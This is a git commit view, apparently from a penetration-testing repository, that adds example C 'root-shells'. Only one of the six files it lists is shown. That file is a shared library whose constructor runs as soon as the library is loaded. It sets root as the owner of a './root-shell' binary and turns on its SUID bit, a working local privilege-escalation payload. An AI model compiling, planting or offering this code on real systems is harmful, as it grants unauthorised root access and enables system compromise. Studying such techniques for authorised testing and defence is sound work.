Add example c root-shells

This commit is contained in:
g0t mi1k
2021-11-24 10:08:49 +00:00
parent 7a0c657912
commit 9eca573017
6 changed files with 77 additions and 0 deletions

View File

@@ -0,0 +1,16 @@
// gcc -fPIC -shared -o drop-shell drop-shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html
__attribute__((__constructor__))
void dropshell(void) {
// Set root user to be owner, and SUID permission
chown("./root-shell", 0, 0);
chmod("./root-shell", 04755);
// Feedback
printf("[+] Done!\n");
}